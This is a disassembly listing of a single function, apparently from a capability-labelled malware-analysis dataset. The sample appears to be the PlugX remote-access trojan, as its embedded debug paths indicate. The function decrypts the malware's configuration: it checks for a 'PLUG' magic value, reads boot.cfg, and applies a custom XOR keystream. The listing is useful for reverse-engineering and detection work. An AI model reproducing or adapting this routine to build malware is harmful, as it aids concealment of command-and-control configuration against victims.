Function at 0x1001d820
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2a54
call fcn.10027d10
push ebx
push esi
mov esi, dword [0x1002d3c8]
push edi
test esi, esi
jne 0x1001d898
push 0x18
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x1001d890
push 0
push 0
push 1
push 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi], eax
test eax, eax
jne 0x1001d892
push eax
lea edx, [eax + 8]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
jmp 0x1001d892
xor esi, esi
mov dword [0x1002d3c8], esi
mov eax, dword [esi + 4]
cmp dword [eax], 0x504c5547
jne 0x1001d8ce
mov edi, dword [eax + 0x14]
mov dword [esp + 0x18], edi
mov ebx, dword [edi]
cmp ebx, dword [edi + 4]
je 0x1001d8ce
cmp dword [eax + 0x18], 0x150c
je 0x1001d8da
mov edx, 0x75
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
call fcn.1001d690
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor ecx, ecx
call section..text
mov eax, edi
mov dword [esp + 0x10], ebx
lea edi, [esp + 0x40]
xor esi, esi
sub eax, edi
mov ecx, ebx
mov edx, ebx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x2c], eax
mov edi, eax
nop dword [eax]
mov eax, ebx
shl ecx, 7
shr eax, 3
add eax, 0xeeeeeeef
add ebx, eax
mov eax, edx
shr eax, 5
add eax, 0xddddddde
add edx, eax
mov eax, 0x33333333
sub eax, ecx
mov ecx, dword [esp + 0x10]
add dword [esp + 0x14], eax
mov eax, 0x44444444
shl ecx, 9
sub eax, ecx
lea ecx, [esp + 0x40]
add dword [esp + 0x10], eax
add ecx, esi
mov al, byte [esp + 0x10]
inc esi
add al, bl
add al, dl
add al, byte [esp + 0x14]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [esp + 0x14]
cmp esi, 0x150c
jl 0x1001d900
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, dword [esp + 0x44]
je 0x1001d972
mov edx, 0x7f
jmp 0x1001d8bf
push 0x150c
lea edx, [esp + 0x44]
mov ecx, 0x1002fa48
call fcn.1002427e
add esp, 4
mov dword [esp + 0x20], 0
lea edx, [esp + 0x94c]
mov dword [esp + 0x28], 0
lea ecx, [esp + 0x1c]
mov dword [esp + 0x24], 0
mov dword [esp + 0x1c], 0
call fcn.1001b5b0
test eax, eax
je 0x1001d9d0
push 0
mov edx, 0x8a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x28]
cdq
sub eax, edx
sar eax, 1
cmp word [ecx + eax*2 - 2], 0x5c
je 0x1001da0d
push 2
push 0x10028918
lea ecx, [esp + 0x24]
call fcn.100066e0
test eax, eax
je 0x1001da0d
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push str.boot.cfg
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
lea ecx, [esp + 0x1c]
push eax
push str.boot.cfg
call fcn.100066e0
push dword [esp + 0x28]
lea ecx, [esp + 0x34]
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x34], 0
call fcn.10006550
mov esi, dword [esp + 0x34]
test eax, eax
jne 0x1001da7c
cmp dword [esp + 0x30], 0x150c
je 0x1001daa7
push 0
mov edx, 0x98
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.cpp
call fcn.10024152
add esp, 4
test esi, esi
je 0x1001da8b
push 1
push esi
call fcn.10027bcc
add esp, 8
mov eax, dword [esp + 0x20]
test eax, eax
je 0x1001da9e
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esi]
xor ecx, ecx
call section..text
mov eax, esi
mov dword [esp + 0x14], ebx
lea esi, [esp + 0x1550]
xor edi, edi
mov ecx, ebx
sub eax, esi
mov edx, ebx
mov dword [esp + 0x10], ecx
mov esi, eax
nop dword [eax + eax]
mov eax, ebx
shl ecx, 7
shr eax, 3
add eax, 0xeeeeeeef
add ebx, eax
mov eax, edx
shr eax, 5
add eax, 0xddddddde
add edx, eax
mov eax, 0x33333333
sub eax, ecx
mov ecx, dword [esp + 0x14]
add dword [esp + 0x10], eax
mov eax, 0x44444444
shl ecx, 9
sub eax, ecx
lea ecx, [esp + 0x1550]
add dword [esp + 0x14], eax
add ecx, edi
lea eax, [edx + ebx]
inc edi
add al, byte [esp + 0x10]
add al, byte [esp + 0x14]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov ecx, dword [esp + 0x10]
cmp edi, 0x150c
jl 0x1001dad0
mov esi, dword [esp + 0x34]
mov eax, dword [esi]
cmp eax, dword [esp + 0x1554]
je 0x1001db49
push 0
mov edx, 0xa6
jmp 0x1001da6f
push 0x150c
lea edx, [esp + 0x1554]
mov ecx, 0x1002fa48
call fcn.1002427e
add esp, 4
jmp 0x1001da80